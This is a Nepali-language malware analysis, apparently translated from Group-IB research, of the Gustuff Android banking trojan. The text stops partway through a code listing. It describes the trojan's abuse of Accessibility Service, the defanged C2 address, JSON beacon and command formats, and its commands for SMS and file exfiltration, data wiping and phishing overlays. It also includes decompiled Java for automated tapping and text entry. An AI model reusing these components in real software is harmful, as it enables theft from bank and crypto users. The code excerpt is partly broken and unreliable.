🥇कसरी एन्ड्रोइड ट्रोजन गस्टफले तपाईंको खाताहरूबाट क्रीम (फियाट र क्रिप्टो) स्किम गर्छ

अर्को दिन मात्र समूह-आईबी जानकारी गराए मोबाइल एन्ड्रोइड ट्रोजन Gustuff को गतिविधि बारे। यसले 100 ठूला विदेशी बैंकहरूका ग्राहकहरू, मोबाइल 32 क्रिप्टो वालेटहरू, साथै ठूला ई-वाणिज्य स्रोतहरूका प्रयोगकर्ताहरूलाई आक्रमण गर्दै अन्तर्राष्ट्रिय बजारहरूमा विशेष रूपमा काम गर्दछ। तर Gustuff को विकासकर्ता Bestoffer उपनाम अन्तर्गत रूसी भाषा बोल्ने साइबर अपराधी हो। हालसम्म, उनले आफ्नो ट्रोजनलाई "ज्ञान र अनुभव भएका मानिसहरूका लागि गम्भीर उत्पादन" भनेर प्रशंसा गरे।

समूह-IB मा मालिसियस कोड विश्लेषण विशेषज्ञ इवान पिसारेभ आफ्नो अनुसन्धानमा, उसले Gustuff कसरी काम गर्छ र यसको खतराहरू के हो भनेर विस्तृत रूपमा कुरा गर्छ।

Gustuff को लागि शिकार छ?

Gustuff पूर्ण स्वचालित प्रकार्यहरू भएको मालवेयरको नयाँ पुस्तासँग सम्बन्धित छ। विकासकर्ताका अनुसार, ट्रोजन एन्डीबोट मालवेयरको नयाँ र सुधारिएको संस्करण भएको छ, जसले नोभेम्बर 2017 देखि एन्ड्रोइड फोनहरूमा आक्रमण गरिरहेको छ र प्रसिद्ध अन्तर्राष्ट्रिय बैंकहरू र भुक्तानी प्रणालीहरूको मोबाइल अनुप्रयोगहरूको रूपमा फिसिङ वेब फारमहरू मार्फत पैसा चोरी गरिरहेको छ। Bestoffer ले रिपोर्ट गर्यो कि Gustuff Bot भाडा मूल्य प्रति महिना $ 800 थियो।

Gustuff नमूनाको विश्लेषणले देखायो कि ट्रोजनले सम्भावित रूपमा बैंक अफ अमेरिका, बैंक अफ स्कटल्याण्ड, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, साथै क्रिप्टो वालेटहरू जस्ता ठूला बैंकहरूको मोबाइल अनुप्रयोगहरू प्रयोग गरेर ग्राहकहरूलाई लक्षित गरिरहेको छ। Bitcoin वालेट, BitPay, Cryptopay, Coinbase, आदि।

मूल रूपमा क्लासिक बैंकिङ ट्रोजनको रूपमा सिर्जना गरिएको, हालको संस्करणमा Gustuff ले आक्रमणको लागि सम्भावित लक्ष्यहरूको सूचीलाई उल्लेखनीय रूपमा विस्तार गरेको छ। बैंकहरू, फिनटेक कम्पनीहरू र क्रिप्टो सेवाहरूका लागि एन्ड्रोइड अनुप्रयोगहरूका अतिरिक्त, Gustuff मार्केटप्लेस अनुप्रयोगहरू, अनलाइन स्टोरहरू, भुक्तानी प्रणालीहरू र इन्स्ट्यान्ट मेसेन्जरहरूका प्रयोगकर्ताहरूका लागि लक्षित छ। विशेष गरी, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut र अन्य।

प्रवेश बिन्दु: जन संक्रमणको लागि गणना

एन्ड्रोइड स्मार्टफोनहरूमा APK को लिङ्कहरू सहित एसएमएस मेलिङहरू मार्फत प्रवेशको "क्लासिक" भेक्टरद्वारा Gustuff विशेषता हो। जब एन्ड्रोइड उपकरण सर्भरको आदेशमा ट्रोजनबाट संक्रमित हुन्छ, Gustuff थप संक्रमित फोनको सम्पर्क डाटाबेस वा सर्भर डाटाबेस मार्फत फैलिन सक्छ। Gustuff को कार्यक्षमता मास इन्फेक्सन र यसको अपरेटरहरूको व्यवसायको अधिकतम पूंजीकरणको लागि डिजाइन गरिएको छ - यो वैध मोबाइल बैंकिङ अनुप्रयोगहरू र क्रिप्टो वालेटहरूमा एक अद्वितीय "स्वत: भरण" प्रकार्य छ, जसले तपाईंलाई पैसाको चोरीको गति बढाउन र मापन गर्न अनुमति दिन्छ।

ट्रोजनको अध्ययनले देखायो कि अटोफिल प्रकार्यलाई पहुँच सेवा प्रयोग गरी लागू गरिएको थियो, अपाङ्गता भएका व्यक्तिहरूको लागि सेवा। Gustuff पहिलो ट्रोजन होइन जसले यो एन्ड्रोइड सेवा प्रयोग गरेर अन्य अनुप्रयोगहरूको विन्डो तत्वहरूसँग अन्तरक्रिया विरुद्ध सुरक्षालाई सफलतापूर्वक बाइपास गर्छ। यद्यपि, कार फिलरसँग संयोजनमा पहुँच सेवाको प्रयोग अझै धेरै दुर्लभ छ।

पीडितको फोनमा डाउनलोड गरेपछि, Gustuff, पहुँच सेवा प्रयोग गरेर, अन्य अनुप्रयोगहरू (बैंकिङ, क्रिप्टोकरेन्सी, साथै अनलाइन सपिङ, सन्देश, इत्यादि) को विन्डो तत्वहरूसँग अन्तरक्रिया गर्न सक्षम छ, आक्रमणकारीहरूको लागि आवश्यक कार्यहरू गर्दै। । उदाहरणका लागि, सर्भरको आदेशमा, ट्रोजनले बटनहरू थिच्न र बैंकिङ अनुप्रयोगहरूमा पाठ क्षेत्रहरूको मानहरू परिवर्तन गर्न सक्छ। पहुँच सेवा संयन्त्रको प्रयोगले ट्रोजनलाई बैंकहरूले अघिल्लो पुस्ताको मोबाइल ट्रोजनहरू, साथै एन्ड्रोइड OS को नयाँ संस्करणहरूमा Google द्वारा लागू गरिएको सुरक्षा नीतिमा परिवर्तनहरू काउन्टर गर्न प्रयोग गरिने सुरक्षा संयन्त्रहरूलाई बाइपास गर्न अनुमति दिन्छ। यसैले, Gustuff लाई "कसरी थाहा छ" Google Protect सुरक्षा असक्षम गर्ने: लेखकका अनुसार, यो प्रकार्यले 70% केसहरूमा काम गर्दछ।

Gustuff ले वैध मोबाइल अनुप्रयोगहरूको आइकनहरूसँग नक्कली पुश सूचनाहरू पनि प्रदर्शन गर्न सक्छ। प्रयोगकर्ताले PUSH सूचनामा क्लिक गर्छ र सर्भरबाट डाउनलोड गरिएको फिसिङ विन्डो देख्छ, जहाँ उसले अनुरोध गरिएको बैंक कार्ड वा क्रिप्टो वालेट डाटा प्रविष्ट गर्छ। अर्को Gustuff परिदृश्यमा, PUSH अधिसूचना प्रदर्शित भएको तर्फबाट अनुप्रयोग खोलिएको छ। यस अवस्थामा, पहुँच सेवा मार्फत सर्भरबाट आदेश पाएपछि मालवेयरले जालसाजीपूर्ण कारोबारको लागि बैंकिङ आवेदनको फारम फिल्डहरू भर्न सक्छ।

Gustuff को कार्यक्षमतामा सर्भरमा संक्रमित यन्त्रको बारेमा जानकारी पठाउने, SMS सन्देशहरू पढ्न/पठाउने क्षमता, USSD अनुरोधहरू पठाउने, SOCKS5 प्रोक्सी सुरु गर्ने, लिङ्क पछ्याउने, फाइलहरू पठाउने (कागजातहरूको फोटो स्क्यान, स्क्रिनसटहरू, फोटोहरू सहित) समावेश छ। सर्भर, यन्त्रलाई कारखाना सेटिङहरूमा रिसेट गर्नुहोस्।

मालवेयर विश्लेषण

खराब अनुप्रयोग स्थापना गर्नु अघि, एन्ड्रोइड ओएसले प्रयोगकर्तालाई Gustuff द्वारा अनुरोध गरिएको अधिकारहरूको सूची समावेश भएको विन्डो देखाउँदछ:

प्रयोगकर्ताको सहमति प्राप्त गरेपछि मात्र अनुप्रयोग स्थापना हुनेछ। एप्लिकेसन सुरु गरेपछि, ट्रोजनले प्रयोगकर्तालाई एउटा सञ्झ्याल देखाउनेछ:

जस पछि यसले यसको आइकन हटाउनेछ।

लेखकका अनुसार FTT को एक प्याकर द्वारा Gustuff प्याक गरिएको छ। स्टार्टअप पछि, अनुप्रयोगले आवधिक रूपमा आदेशहरू प्राप्त गर्न CnC सर्भरलाई सम्पर्क गर्दछ। हामीले जाँच गरेका धेरै फाइलहरूले नियन्त्रण सर्भरको रूपमा IP ठेगाना प्रयोग गर्‍यो २१७.२३.१४ [।] २७ (यस पछि हामी यसलाई को रूपमा बुझाउनेछौं <%CnC%>).

सुरुवात पछि, कार्यक्रम सर्भरमा सन्देशहरू पठाउन सुरु हुन्छ http://<%CnC%>/api/v1/get.php.

प्रतिक्रिया निम्न ढाँचामा JSON हुन अपेक्षा गरिएको छ:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

प्रत्येक पटक अनुप्रयोग पहुँच गरिन्छ, यसले संक्रमित यन्त्रको बारेमा जानकारी पठाउँछ। सन्देश ढाँचा तल देखाइएको छ। यो क्षेत्रहरू ध्यान दिन लायक छ पूर्ण, अतिरिक्त, अनुप्रयोगहरू и अनुमति - वैकल्पिक र CnC बाट अनुरोध आदेशको अवस्थामा मात्र पठाइनेछ।

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
}

कन्फिगरेसन डाटा भण्डारण गर्दै

Gustuff एक प्राथमिकता फाइलमा सञ्चालन महत्त्वपूर्ण जानकारी भण्डारण गर्दछ। फाइलको नाम, साथै यसमा भएका प्यारामिटरहरूको नाम, स्ट्रिङबाट MD5 योग गणना गर्ने परिणाम हो। 15413090667214.6.1<%name%>कहाँ <% नाम%> - प्रारम्भिक नाम-मान। नाम उत्पादन प्रकार्यको पाइथन व्याख्या:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input)

निम्नमा हामी यसलाई के रूपमा बुझाउनेछौं नेम जेनरेटर (इनपुट).
त्यसैले पहिलो फाइल नाम हो: nameGenerator("API_SERVER_LIST"), यसले निम्न नामहरूसँग मानहरू समावेश गर्दछ:

चर नाम	मूल्य
nameGenerator("API_SERVER_LIST")	एरेको रूपमा CnC ठेगानाहरूको सूची समावेश गर्दछ।
nameGenerator("API_SERVER_URL")	CnC ठेगाना समावेश गर्दछ।
nameGenerator("SMS_UPLOAD")	झण्डा पूर्वनिर्धारित रूपमा सेट गरिएको छ। यदि झण्डा सेट गरिएको छ भने, CnC मा SMS सन्देशहरू पठाउँछ।
name Generator("SMS_ROOT_NUMBER")	फोन नम्बर जसमा संक्रमित यन्त्रले प्राप्त गरेको SMS सन्देशहरू पठाइनेछ। पूर्वनिर्धारित शून्य छ।
name Generator("SMS_ROOT_NUMBER_RESEND")	झण्डा पूर्वनिर्धारित रूपमा खाली गरिएको छ। यदि स्थापित छ भने, जब संक्रमित उपकरणले एसएमएस प्राप्त गर्दछ, यो रूट नम्बरमा पठाइनेछ।
nameGenerator("DEFAULT_APP_SMS")	झण्डा पूर्वनिर्धारित रूपमा खाली गरिएको छ। यदि यो झण्डा सेट गरिएको छ भने, अनुप्रयोगले आगमन SMS सन्देशहरू प्रशोधन गर्नेछ।
nameGenerator("DEFAULT_ADMIN")	झण्डा पूर्वनिर्धारित रूपमा खाली गरिएको छ। यदि झण्डा सेट गरिएको छ भने, अनुप्रयोगसँग प्रशासक अधिकारहरू छन्।
nameGenerator("DEFAULT_ACCESSIBILITY")	झण्डा पूर्वनिर्धारित रूपमा खाली गरिएको छ। यदि झण्डा सेट गरिएको छ भने, पहुँच सेवा प्रयोग गर्ने सेवा चलिरहेको छ।
nameGenerator("APPS_CONFIG")	एक JSON वस्तु जसले कार्यहरूको सूची समावेश गर्दछ जुन कार्यहरू गर्नुपर्दछ जब एक विशिष्ट अनुप्रयोगसँग सम्बन्धित पहुँच घटना ट्रिगर हुन्छ।
nameGenerator("APPS_INSTALLED")	उपकरणमा स्थापित अनुप्रयोगहरूको सूची भण्डारण गर्दछ।
nameGenerator("IS_FIST_RUN")	झण्डा पहिलो सुरुमा रिसेट गरिएको छ।
nameGenerator("UNIQUE_ID")	एक अद्वितीय पहिचानकर्ता समावेश गर्दछ। बोट पहिलो पटक लन्च हुँदा उत्पन्न।

सर्भरबाट आदेशहरू प्रशोधन गर्नका लागि मोड्युल

अनुप्रयोगले एन्कोड गरिएको एरेको रूपमा CnC सर्भरहरूको ठेगानाहरू भण्डार गर्दछ बेस २२२ रेखाहरू। CnC सर्भरहरूको सूची उपयुक्त आदेशको प्राप्तिमा परिवर्तन गर्न सकिन्छ, जसमा ठेगानाहरू प्राथमिकता फाइलमा भण्डार गरिनेछ।

अनुरोधको जवाफमा, सर्भरले अनुप्रयोगलाई आदेश पठाउँछ। यो ध्यान दिन लायक छ कि आदेश र प्यारामिटरहरू JSON ढाँचामा प्रस्तुत गरिएका छन्। अनुप्रयोगले निम्न आदेशहरू प्रशोधन गर्न सक्छ:

टोली	विवरण
अगाडि सुरु	संक्रमित यन्त्रद्वारा प्राप्त SMS सन्देशहरू CnC सर्भरमा पठाउन सुरु गर्नुहोस्।
अगाडि रोक्नुहोस्	संक्रमित यन्त्रबाट प्राप्त भएका SMS सन्देशहरू CnC सर्भरमा पठाउन रोक्नुहोस्।
ussdRun	USSD अनुरोध कार्यान्वयन गर्नुहोस्। तपाईले USSD अनुरोध गर्नु पर्ने नम्बर JSON फिल्ड "नम्बर" मा अवस्थित छ।
एसएमएस पठाउनुहोस्	एउटा एसएमएस सन्देश पठाउनुहोस् (आवश्यक भएमा, सन्देशलाई भागहरूमा "विभाजित" गरिएको छ)। प्यारामिटरको रूपमा, आदेशले "to" - गन्तव्य नम्बर र "body" - सन्देशको मुख्य भागहरू समावेश गर्ने JSON वस्तु लिन्छ।
SmsAb पठाउनुहोस्	संक्रमित यन्त्रको सम्पर्क सूचीमा रहेका सबैलाई एसएमएस सन्देशहरू पठाउनुहोस् (आवश्यक भएमा, सन्देशलाई भागहरूमा विभाजन गरिएको छ)। सन्देशहरू पठाउने बीचको अन्तराल 10 सेकेन्ड हो। सन्देशको मुख्य भाग JSON फिल्ड "body" मा छ।
SmsMass पठाउनुहोस्	आदेश प्यारामिटरहरूमा निर्दिष्ट सम्पर्कहरूलाई एसएमएस सन्देशहरू पठाउनुहोस् (आवश्यक भएमा, सन्देश "विभाजन" भागहरूमा)। सन्देशहरू पठाउने बीचको अन्तराल 10 सेकेन्ड हो। प्यारामिटरको रूपमा, आदेशले JSON array ("sms" फिल्ड) लिन्छ, जसका तत्वहरूले "to" - गन्तव्य नम्बर र "body" - सन्देशको मुख्य भाग समावेश गर्दछ।
सर्भर परिवर्तन गर्नुहोस्	यो आदेशले प्यारामिटरको रूपमा कुञ्जी "url" सँग मान लिन सक्छ - त्यसपछि बोटले nameGenerator ("SERVER_URL"), वा "array" को मान परिवर्तन गर्नेछ - त्यसपछि बोटले array लाई nameGenerator ("API_SERVER_LIST") मा लेख्नेछ। यसरी, अनुप्रयोगले CnC सर्भरहरूको ठेगाना परिवर्तन गर्दछ।
प्रशासक नम्बर	आदेश रूट नम्बर संग काम गर्न डिजाइन गरिएको छ। आदेशले निम्न प्यारामिटरहरूसँग JSON वस्तु स्वीकार गर्दछ: "नम्बर" — प्राप्त मानमा नाम जेनेरेटर ("ROOT_NUMBER") परिवर्तन गर्नुहोस्, "पुनः पठाउनुहोस्" — नाम जेनेरेटर परिवर्तन गर्नुहोस् ("SMS_ROOT_NUMBER_RESEND"), "sendId" - nameGenerator ("ROOT_NUMBER" मा पठाउनुहोस्। ) अद्वितीय आईडी।
अपडेट जानकारी	सर्भरमा संक्रमित यन्त्रको बारेमा जानकारी पठाउनुहोस्।
डेटा वाइप गर्नुहोस्	आदेश प्रयोगकर्ता डाटा मेटाउन उद्देश्य छ। कुन नाममा अनुप्रयोग सुरु गरिएको थियो भन्ने आधारमा, या त यन्त्र रिबुट (प्राथमिक प्रयोगकर्ता) संग डाटा पूर्ण रूपमा मेटाइन्छ, वा प्रयोगकर्ता डेटा मात्र मेटाइन्छ (सेकेन्डरी प्रयोगकर्ता)।
मोजा सुरु	प्रोक्सी मोड्युल सुरु गर्नुहोस्। मोड्युल को सञ्चालन एक अलग खण्ड मा वर्णन गरिएको छ।
मोजा स्टप	प्रोक्सी मोड्युल रोक्नुहोस्।
लिङ्क खोल्नुहोस्	लिङ्क पछ्याउनुहोस्। लिङ्क "url" कुञ्जी अन्तर्गत JSON प्यारामिटरमा अवस्थित छ। लिङ्क खोल्न "android.intent.action.VIEW" प्रयोग गरिन्छ।
सबैSms अपलोड गर्नुहोस्	सर्भरमा उपकरण द्वारा प्राप्त सबै SMS सन्देशहरू पठाउनुहोस्।
सबै फोटोहरू अपलोड गर्नुहोस्	संक्रमित यन्त्रबाट URL मा छविहरू पठाउनुहोस्। URL प्यारामिटरको रूपमा आउँछ।
अपलोड फाइल	संक्रमित यन्त्रबाट URL मा फाइल पठाउनुहोस्। URL प्यारामिटरको रूपमा आउँछ।
फोन नम्बरहरू अपलोड गर्नुहोस्	तपाईंको सम्पर्क सूचीबाट सर्भरमा फोन नम्बरहरू पठाउनुहोस्। यदि कुञ्जी "ab" को साथ JSON वस्तु मान प्यारामिटरको रूपमा प्राप्त भयो भने, अनुप्रयोगले फोन बुकबाट सम्पर्कहरूको सूची प्राप्त गर्दछ। यदि कुञ्जी "sms" भएको JSON वस्तु प्यारामिटरको रूपमा प्राप्त भयो भने, अनुप्रयोगले SMS सन्देशहरू प्रेषकहरूबाट सम्पर्कहरूको सूची पढ्छ।
सङ्ग्रह परिवर्तन गर्नुहोस्	अनुप्रयोगले "url" कुञ्जी प्रयोग गरेर प्यारामिटरको रूपमा आउने ठेगानाबाट फाइल डाउनलोड गर्दछ। डाउनलोड गरिएको फाइल "archive.zip" नामको साथ बचत गरिएको छ। त्यसपछि एपले फाइललाई अनजिप गर्नेछ, वैकल्पिक रूपमा "b5jXh37gxgHBrZhQ4j3D" अभिलेख पासवर्ड प्रयोग गरेर। अनजिप गरिएका फाइलहरू [बाह्य भण्डारण]/hgps डाइरेक्टरीमा बचत गरिएका छन्। यस डाइरेक्टरीमा, एप्लिकेसनले वेब नक्कली भण्डार गर्दछ (तल वर्णन गरिएको)।
स्टक	आदेशलाई कार्य सेवासँग काम गर्न डिजाइन गरिएको छ, जुन छुट्टै खण्डमा वर्णन गरिएको छ।
परीक्षण	केही नगर्ने ।
डाउनलोड	आदेश रिमोट सर्भरबाट फाइल डाउनलोड गर्न र यसलाई "डाउनलोडहरू" डाइरेक्टरीमा बचत गर्नको लागि हो। URL र फाइलको नाम प्यारामिटरको रूपमा आउँछ, JSON प्यारामिटर वस्तुमा क्रमशः "url" र "fileName"।
हटाउन	"डाउनलोडहरू" डाइरेक्टरीबाट फाइल हटाउँछ। फाइल नाम "फाइल नाम" कुञ्जीसँग JSON प्यारामिटरमा आउँछ। मानक फाइल नाम "tmp.apk" हो।
सूचना	व्यवस्थापन सर्भर द्वारा परिभाषित वर्णन र शीर्षक पाठ संग एक सूचना देखाउनुहोस्।

आदेश ढाँचा सूचना:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

अनुसन्धान अन्तर्गत फाइल द्वारा उत्पन्न सूचना फिल्ड मा निर्दिष्ट अनुप्रयोग द्वारा उत्पन्न सूचनाहरु को समान देखिन्छ। अनुप्रयोग। यदि क्षेत्र मान एप खोल्नुहोस् - सत्य हो, जब सूचना खोलिन्छ, क्षेत्रमा निर्दिष्ट गरिएको अनुप्रयोग सुरु हुन्छ अनुप्रयोग। यदि क्षेत्र मान एप खोल्नुहोस् - गलत, त्यसपछि:

फिसिङ विन्डो खुल्छ, जसको सामग्री डाइरेक्टरीबाट डाउनलोड गरिन्छ <% बाह्य भण्डारण%>/hgps/<%filename%>
फिसिङ विन्डो खुल्छ, जसको सामग्री सर्भरबाट डाउनलोड गरिन्छ <%url%>?id=<%Bot id%>&app=<%Application name%>
एउटा फिसिङ विन्डो खुल्छ, गुगल प्ले कार्डको भेषमा, कार्ड विवरणहरू प्रविष्ट गर्ने अवसरको साथ।

अनुप्रयोगले कुनै पनि आदेशको परिणाम पठाउँछ <%CnC%>set_state.php निम्न ढाँचामा JSON वस्तुको रूपमा:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

कार्य सेवा
आदेशहरूको सूची जुन अनुप्रयोग प्रक्रियाहरूले समावेश गर्दछ कार्य। जब आदेश प्राप्त हुन्छ, विस्तारित आदेश कार्यान्वयन गर्न आदेश प्रशोधन मोड्युलले यो सेवा पहुँच गर्दछ। सेवाले JSON वस्तुलाई प्यारामिटरको रूपमा स्वीकार गर्छ। सेवाले निम्न आदेशहरू कार्यान्वयन गर्न सक्छ:

1. PARAMS_ACTION - यस्तो आदेश प्राप्त गर्दा, सेवाले पहिले JSON प्यारामिटरबाट टाइप कुञ्जीको मान प्राप्त गर्दछ, जुन निम्नानुसार हुन सक्छ:

सेवा जानकारी - उपकमान्डले JSON प्यारामिटरबाट कुञ्जीद्वारा मान प्राप्त गर्दछ समावेश महत्त्वपूर्ण छैन। यदि झण्डा सत्य हो भने, अनुप्रयोगले झण्डा सेट गर्दछ FLAG_ISOLATED_PROCESS पहुँच सेवा प्रयोग गरेर सेवामा। यसरी छुट्टै प्रक्रियामा सेवा सुरु हुनेछ।
मूल - हाल फोकसमा रहेको विन्डोको बारेमा सर्भर जानकारी प्राप्त गर्नुहोस् र पठाउनुहोस्। अनुप्रयोगले AccessibilityNodeInfo वर्ग प्रयोग गरेर जानकारी प्राप्त गर्दछ।
. - प्रशासक अधिकारहरू अनुरोध गर्नुहोस्।
ढिलाइ - "डेटा" कुञ्जीको लागि प्यारामिटरमा निर्दिष्ट मिलिसेकेन्डको संख्याको लागि कार्य सेवा निलम्बन गर्नुहोस्।
Windows - प्रयोगकर्तालाई देखिने विन्डोजहरूको सूची पठाउनुहोस्।
स्थापित गर्नुहोस् - संक्रमित उपकरणमा अनुप्रयोग स्थापना गर्नुहोस्। अभिलेख प्याकेजको नाम "फाइल नाम" कुञ्जीमा छ। संग्रह आफै डाउनलोड डाइरेक्टरी मा स्थित छ।
वैश्विक - उपकमाण्ड हालको सञ्झ्यालबाट नेभिगेट गर्नको लागि हो:
- द्रुत सेटिङ मेनुमा
- फिर्ता
- घर
- सूचनाहरूमा
- भर्खरै खोलिएको अनुप्रयोग विन्डोमा
सुरुवात गर्नुहोस् - अनुप्रयोग सुरु गर्नुहोस्। अनुप्रयोगको नाम कुञ्जीद्वारा प्यारामिटरको रूपमा आउँछ डाटा.
ध्वनि - मौनमा ध्वनि मोड परिवर्तन गर्नुहोस्।
अनलक - स्क्रिन र किबोर्डको ब्याकलाइटलाई पूर्ण चमकमा सक्रिय गर्दछ। एपले WakeLock प्रयोग गरेर यो कार्य गर्दछ, स्ट्रिङ [Application lable]:INFO लाई ट्यागको रूपमा निर्दिष्ट गर्दै
अनुमति ओभरले — प्रकार्य लागू गरिएको छैन (कमाण्ड कार्यान्वयनको प्रतिक्रिया हो {"message":"समर्थन छैन"} वा {"message":"low sdk"})
इशारा — प्रकार्य लागू गरिएको छैन (कमाण्ड कार्यान्वयनको प्रतिक्रिया {"message":"Not support"}वा {"message":"Low API"} हो)
अनुमति - यो आदेश अनुप्रयोगको लागि अनुमति अनुरोध गर्न आवश्यक छ। यद्यपि, क्वेरी प्रकार्य लागू गरिएको छैन, त्यसैले आदेश अर्थहीन छ। अनुरोध गरिएका अधिकारहरूको सूची "अनुमति" कुञ्जीसँग JSON एरेको रूपमा आउँछ। मानक सूची:
- android.permission.READ_PHONE_STATE
- android.permission.READ_CONTACTS
- android.permission.CALL_PHONE
- android.permission.RECEIVE_SMS
- android.permission.SEND_SMS
- android.permission.READ_SMS
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
खुला - फिसिङ विन्डो देखाउनुहोस्। सर्भरबाट आउने प्यारामिटरमा निर्भर गर्दै, अनुप्रयोगले निम्न फिसिङ विन्डोहरू प्रदर्शन गर्न सक्छ:
- फिसिङ सञ्झ्याल देखाउनुहोस् जसको सामग्री डाइरेक्टरीमा फाइलमा लेखिएको छ <% बाह्य निर्देशिका%>/hgps/<%param_filename%>। सञ्झ्यालसँग प्रयोगकर्ता अन्तरक्रियाको परिणाम पठाइनेछ <%CnC%>/records.php
- फिसिङ विन्डो देखाउनुहोस् जसको सामग्री ठेगानाबाट पूर्व-लोड गरिएको छ <%url_param%>?id=<%bot_id%>&app=<%packagename%>। सञ्झ्यालसँग प्रयोगकर्ता अन्तरक्रियाको परिणाम पठाइनेछ <%CnC%>/records.php
- गुगल प्ले कार्डको रूपमा भेषमा फिसिङ विन्डो देखाउनुहोस्।
अन्तरक्रियात्मक - आदेशलाई पहुँच सेवा प्रयोग गरेर अन्य अनुप्रयोगहरूको सञ्झ्याल तत्वहरूसँग अन्तरक्रिया गर्न डिजाइन गरिएको छ। कार्यक्रममा अन्तरक्रियाका लागि विशेष सेवा लागू गरिएको छ । अनुसन्धान अन्तर्गत अनुप्रयोगले विन्डोजसँग अन्तरक्रिया गर्न सक्छ:
- हाल सक्रिय छ। यस अवस्थामा, प्यारामिटरले वस्तुको आईडी वा पाठ (नाम) समावेश गर्दछ जससँग तपाईंले अन्तरक्रिया गर्न आवश्यक छ।
- आदेश कार्यान्वयन भएको समयमा प्रयोगकर्तालाई देखिने। अनुप्रयोगले आईडीद्वारा विन्डोज चयन गर्दछ।
वस्तुहरू प्राप्त गर्दै पहुँच नोड जानकारी रुचिको सञ्झ्याल तत्वहरूको लागि, अनुप्रयोगले, प्यारामिटरहरूमा निर्भर गर्दै, निम्न कार्यहरू गर्न सक्छ:
- फोकस - वस्तुमा फोकस सेट गर्नुहोस्।
- क्लिक गर्नुहोस् - वस्तुमा क्लिक गर्नुहोस्।
- actionId - ID द्वारा कार्य गर्नुहोस्।
- setText - वस्तुको पाठ परिवर्तन गर्नुहोस्। पाठ परिवर्तन गर्न दुई तरिकामा सम्भव छ: कार्य गर्नुहोस् ACTION_SET_TEXT (यदि संक्रमित उपकरणको एन्ड्रोइड संस्करण भन्दा सानो वा बराबर छ ललीपप), वा क्लिपबोर्डमा स्ट्रिङ राखेर वस्तुमा टाँस्नुहोस् (पुरानो संस्करणहरूको लागि)। यो आदेश बैंकिङ अनुप्रयोगमा डाटा परिवर्तन गर्न प्रयोग गर्न सकिन्छ।

2. PARAMS_ACTIONS - जस्तै PARAMS_ACTION, आदेशहरूको JSON एरे मात्र आउँछ।

यस्तो देखिन्छ कि धेरै व्यक्तिहरू अर्को अनुप्रयोगको सञ्झ्याल तत्वहरूसँग अन्तर्क्रिया गर्ने कार्य कस्तो देखिन्छ भनेर चासो राख्नेछन्। Gustuff मा यो कार्यक्षमता कसरी लागू हुन्छ:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

पाठ प्रतिस्थापन प्रकार्य:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
